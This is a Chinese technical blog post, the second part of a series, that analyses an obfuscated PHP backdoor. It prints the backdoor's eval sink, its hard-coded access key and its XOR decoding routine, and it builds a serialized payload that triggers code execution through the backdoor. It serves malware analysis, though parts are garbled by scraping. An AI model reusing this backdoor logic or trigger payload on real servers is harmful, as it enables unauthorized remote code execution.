项目实战 | 记一次对某猥琐PHP后门的爆菊( 二 )

查了下似乎是16进制或Unicode编码 , 双引号情况下可以直接输出其值 。 由于是16进制 , 在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码 。
当然 , 我直接打印了所有已定义变量 , 得到如下:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
脚本所有已定义变量:[a904] => /%2Tu:^61H![0f _VZM#>7q) --tt-darkmode-color: #B83232;"> 发现
敏感函数unserialize //可能需要反序列化操作
其中下标[a904]的值由于存在特殊字符 , 没有显示完全 , 另外如需利用到[a904]的值也要考虑这个问题 , 不能直接输出使用 。
二.触发条件分析当时按顺序读了下功能 , 事后复盘发现 , 可能比较高效的做法是倒序着读 , 顺着最下面的执行逻辑往上去构造条件 。 所以既然重点在eval/*r49557ec*/($vv['d']);那设法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的 ,
我们先直接修改$vv的值 , 看怎样才能满足执行条件 。
if (isset($vv['a'.'k'])echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();后门触发条件:
1.$vv需要是数组2.成员必须存在'ak'且'ak'需等于$c77700426的值 $c77700426的值在上面已有定义:
为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';3.成员需存在'a' , 若值为'i'则输出版本 , 为'e'则触发后门4.后门执行内容为成员'd'的值所以$vv需要等于↓↓
array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'执行代码' //如phpinfo(););.直接传入试试有没有问题 :
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
可以执行 , 回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组也就是:那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}看下x184f5cc()函数做了什么操作?
functionx184f5cc($vv, $kk){global $w8fd00d8;global $c77700426;return e664fd(e664fd($vv, $c77700426), $kk);}1.其中$w8fd00d8相当于$GLOBALS $c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.经过两次核心混淆函数e664fd()的处理 这时候重新理一下:我们必须使e664fd(e664fd($vv, $c77700426), $kk);的 返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}再来看一下e664fd()函数
functione664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反) , 得到的结果以字符串形式返回 。
位取反有个特点: 1.A与B取反=C 2.B与C取反=A 可逆 , B^C当然就得到A了 。
所以回过头看:
我们必须使函数↓↓
e664fd(e664fd($vv, $c77700426), $kk);的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}